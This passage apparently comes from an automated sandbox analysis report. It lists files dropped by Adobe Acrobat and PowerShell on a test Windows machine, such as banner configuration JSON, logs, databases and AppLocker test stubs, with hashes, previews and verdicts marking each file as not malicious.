SHA-256:	B3DC43E146FA38729BB6596EA3D237FC7F68BF79ECA4D01DF702C4DF2B2B0782
SHA-512:	933FD804CCA71C575543C48A8E7B1CFCF95C009EEFC3A5243A715CAB15892F0185DAE2761A0DFE2051430A0EB7E76534375C93CB127DACFBB5EAA7FB4335FE55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286153581049521
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfFldPeUkwRe9:YvXKXaolWObsdTeO7OGz8Ukee9
MD5:	845FFF83DEF3745E9FD998BBF4983019
SHA1:	0AE431863614D57CE7FAC019FD6A838A3B5D1A6F
SHA-256:	F09137A96CB0E178EDCBC678123F4255D3BBD2BBFBE010AC58554AB7AB1CA50C
SHA-512:	DDB3B84F8EB2B1A8B680C659AAED2977889C99E5938A00A463BA2EEC9FEE2E9CA75FBD5AB5C37074D57697DB805D87D2A5AC5898CFE8B70DCD34F987E1C1F983
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.290737792960832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfzdPeUkwRe9:YvXKXaolWObsdTeO7OGb8Ukee9
MD5:	78797F687C9E0F6BB43307AF90B76D11
SHA1:	051A626E4440DF6EDA80208F3EE155CAC004A2F8
SHA-256:	934DD18075C062DF2BD87CA1B5A3729D2160F2B904393B28D292A30DE8B3A3C7
SHA-512:	D0250682EF6704D6215171D8753B1C0524BB4A2E50D652D9B6A3306B0048FE0678C0E0544D6DFF246E6D0800D6E0A0974E9319E2DF3DDF418B31D4DEB29F8E6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271064705412769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfYdPeUkwRe9:YvXKXaolWObsdTeO7OGg8Ukee9
MD5:	BFD2BE511302A0659157CA14EF1B8173
SHA1:	D23AC84EC6075A2A4EAED9B0A75F4E11A15E0E2A
SHA-256:	ABB52333AA4B5335B3CCFA14581596F519E2CEB7AA8350D77FD1FF7CA10B5F94
SHA-512:	3F04022CF6D6C58B2ED60C647D5DEDFC359478D78DA63BC2DA4C399528E40131972CEEED995A779E077CD09F95366FAB44A8AF1EAED7FFCFF57D31ED2FD66006
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.257187007655623
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJf+dPeUkwRe9:YvXKXaolWObsdTeO7OG28Ukee9
MD5:	A3A535CFB2AE103524DAADE493AF34D0
SHA1:	76C167BD7199D4702E01AF8F516D4B21C141F275
SHA-256:	E10D013690C248F74F0D38893578F5D25CC8F66090BD5CE2F1F2DABA1A43B079
SHA-512:	8410A085AF0A88E79D0599795721343D6226286AB1394A77E9937676E5DD7CE35549F0621A7D54B8803E3B01C6620FE3ACEB2D00750F4D4DACCD330C545245A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.254810671090668
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfbPtdPeUkwRe9:YvXKXaolWObsdTeO7OGDV8Ukee9
MD5:	A8E8436DF1F0DF2157D8C22EF8784259
SHA1:	6CCCB931CD907205E7EA9A5ADFB93F9AA06929B7
SHA-256:	5D2220FCD7F24A583138FF90BEBBDBDDCAA80B05683C2A1E9150EC9F93AEE069
SHA-512:	B3222F74493D9CD30188497282BCA26D41A44D21A8E64D0623E5366AEFF57D474C6DBC84014F5E91E71501BDD0FE4A49AAEA409EDB886279312A334E0EBECBCA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2593574816262585
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJf21rPeUkwRe9:YvXKXaolWObsdTeO7OG+16Ukee9
MD5:	32E3A7C9EF1BA45FD49061A8169BA5F6
SHA1:	D2C3600175525200C1A92E08E7A3B4D4305F5EF0
SHA-256:	57D44D8992863DE83B03561F1C3FC62BAE19AFA47974C2835D551854A8DAA7AF
SHA-512:	4A7A5A66873D55EF91CE820F7B1109E0591AC790659C71AA8BED6B674521EBBD9125493C8871244534D519A44773F5590E99192D0059A1FB0501DF524F395C66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.654137445086368
Encrypted:	false
SSDEEP:	24:Yv6X9MObmeO77amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+:YvTeuBgkDMUJUAh8cvM+
MD5:	61882332A1A8E7662FC9E8F46E6DF9C3
SHA1:	25ED508B53CFB94F1BC063F795115AA25D37E805
SHA-256:	69EB974DD317FAE410CA0AE74BCDAA18CBE62AB83017BDD832AEE71D76754972
SHA-512:	73956746A52099DA7C0A69959DEC5B550233B9E517449C0339B298E2112685C656EAAD9E8DB8639C20FE481234E512F417F5097CB8F6ACC3937C318240821A19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.23717175958119
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfshHHrPeUkwRe9:YvXKXaolWObsdTeO7OGUUUkee9
MD5:	ED51CE7472010912536E91004571149D
SHA1:	57AF0707A7E883E5CF583E81D385D93A1B9658C7
SHA-256:	072180F23548B5AD20975261C9533F7E0DBD62A5D9F5E830C3FE2B13AECC9556
SHA-512:	35B7FA3173F78C6FC56868C2E61D4815ECC24192DF5CE8FF5130307A25ACD6B005191630776C4A9824034548A6006B1848CC234DE0F05C9F5842B87F213EB42E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258748470554712
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJTqgFCrPeUkwRe9:YvXKXaolWObsdTeO7OGTq16Ukee9
MD5:	F96DADE8DAC3485132CD993C753A108B
SHA1:	2EFA7F8A2614EDE09EAE9E13345096CA0A9A8B26
SHA-256:	60C255FC19ECBD8B51F5060113C18F5EB1DE1815A08B0EA7467061B0043D3040
SHA-512:	4A7F5234662549CEF0F4AEEB4F05D025D99CEF76E0B06D900DBB0762EDDAFDE7DC32DEF29BD5593ACB37965F8D06BAEC4FADA0ED44959221DE2ED667856E9296
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143416790039667
Encrypted:	false
SSDEEP:	24:YmbhGaUmayGAHHQFReJ2Ey4VyBhBQAhYyKPjXTj0SwfIxb5tC26J2LSwRCjWJ55S:Y4HFl9yJ2zPnxeTktJzImRw9eU
MD5:	D54365E6BA8AD7FE8226607BD71832C2
SHA1:	A18253BA83ECA965ABBB37884EED518BC2C2B3FD
SHA-256:	4A4D200E69C799338C9D7EE8ED0533A8CBD9D5A797F98C3914193D140846E7A9
SHA-512:	FEE3D2271B7A724BB367D221C32BE59212E53218298F6EF0FC4B0F560FD4DA2416270912F0B8144F851BEB42F87353B6B4BEB5D5F9A1AB20107EF7A82A18CABA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"61fec37a65c997f8513786d0cb906762","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569369000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8acf8267ac931f1f77b3da7b80b7f852","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569369000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4c4cb7be202d9ac5458b51a99b47b85d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569369000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e478317645588538b855a1bfd09e4ee3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569369000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"47affda2317b0ad7c4bc15cb43aefcc1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736569369000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"84c94c5f26a2f642695d1eaa30892135","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4536855240610547
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsxqlDM:lNVmsw3SHtbDbPe0K3+fDZdY
MD5:	C94283808962659889F91BF6B045D02C
SHA1:	1122368B5CD5EB0EFA56AAD448CE8AF1821EB851
SHA-256:	62D2F1E4F45E0F19763F3114721C363151DF97E9F4CE9CAC9E6F8ED26EC1A2C5
SHA-512:	606B0199A3EE5501D17276AB912A12E895855D6DDA261A058F8CE7EB858E892F496148F00D7356F2DAC30296C89F4159043C5C3DA5ECF5E1FA2F0762CBD30767
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9578564603483408
Encrypted:	false
SSDEEP:	48:7MPqrvrBd6dHtbGIbPe0K3+fDy2dsxTOqFl2GL7msL:70S3SHtbDbPe0K3+fDZdBKVmsL
MD5:	1BFCE4CE991DC0FA77C72B7C17707246
SHA1:	8776013E91CF0306F86AEBDF85B9D36DE05AB2E4
SHA-256:	D99A54D1442133EBD4665E157B918C1DB2527C734D77CE4A1C1877634FBB4CC4
SHA-512:	A90E5C32C65D68D9351D7EFEE956F85EF032779E127005A76F546E3A00C44C25A0051F87844FF17640D86F703707CBCE5DBED99BC935BAA0373303D9D5445308
Malicious:	false
Preview:	.... .c.......H.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOnVPYyC7saBmkwTIxP/enR5uIwYyu:6a6TZ44ADEOVPYyosQmkwIrK
MD5:	D9488E745CBFB3DA05049DD4A6BA29BD
SHA1:	4B93796E9FA45D945E93B41C16CD01CEDDFFC99A
SHA-256:	CC64EB31A83365F37EEE9897D42E8F16512BAAC9DC0CE5A9FFD65F7644FA1AF5
SHA-512:	F1FC1C89AF57E9E271E86ADED59E5D0A2C853F01932CB822AE4F86FE36E400DC653B32EB9876A36ED857A1F40177EC331002C03E30AD1A810D4F8A76D8F7D717
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI7a263.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.516674370985874
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl9w:Qw946cPbiOxDlbYnuRK+bf
MD5:	E1169BD8847F4D85C45A4A22A62F17F4
SHA1:	A558779F19965C484E3ECF2ABA69906E258CABB8
SHA-256:	9E73635C18FF39C4930300E0E97072E8083EC54E18590C1F73F810AF4303936F
SHA-512:	8E6F6A2565C422C08440DC0DA5722695C9658BA8A52FAADC902A69C529C182F3BBEECD20DF5189056C2852781820AC2BEFBBF3547F2BE5B27BCF6E015191CF7D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.2.2.:.4.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cdlexol0.bc4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ulqfydv1.n33.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-22-42-959.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.355214876775626
Encrypted:	false
SSDEEP:	384:avXhvMXvM+vMvvMVvMIvMLtv9wv9/v9pv9Nv9gv9xwv9yv9yv9dv6ev6qv6wv78T:85gR4kVqlA5D3wbamCrZnR644/EmEciq
MD5:	74976294E06037284B5DBF47C56D2318
SHA1:	D85227CD9DE4A1B7F2D436A80EEF827B8CCF6A03
SHA-256:	96E158DE2FDFD5E52653DD1B7604117D0F696CCD49EC758A015C03EAC9B3AB3A
SHA-512:	8618F1C6B7966275ABF7F4DB07B0521E9D4CE8EB3861637DAAEA3EE1B3E5F658412ABAD66B616B7284676DBE5C2790A6B9008BB27C0255897F60587639875023
Malicious:	false
Preview:	SessionID=584b2961-5258-4d61-b445-d305e6710ec6.1736569362973 Timestamp=2025-01-10T23:22:42:973-0500 ThreadID=7856 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=584b2961-5258-4d61-b445-d305e6710ec6.1736569362973 Timestamp=2025-01-10T23:22:42:974-0500 ThreadID=7856 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=584b2961-5258-4d61-b445-d305e6710ec6.1736569362973 Timestamp=2025-01-10T23:22:42:974-0500 ThreadID=7856 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=584b2961-5258-4d61-b445-d305e6710ec6.1736569362973 Timestamp=2025-01-10T23:22:42:974-0500 ThreadID=7856 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=584b2961-5258-4d61-b445-d305e6710ec6.1736569362973 Timestamp=2025-01-10T23:22:42:974-0500 ThreadID=7856 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.407359606255092
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRJp:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR1
MD5:	29E44B8376BDAFDFE46FABECE6845C27
SHA1:	D959DA88473D63BEC5420BFCE25F0EC8ADC306FF
SHA-256:	1ADE19F02367E99301C37D7C7980D4192091A8B3310FABE6C8D192A00442280B
SHA-512:	3E44153ABF7FBA2895FE95C5F7103C610C2DB921B236D016346915FF926005E0AD86C43542A5887B5D1B928FD05D08CB115B4BD767F7DEE3C7949502B50C5517
Malicious:	false
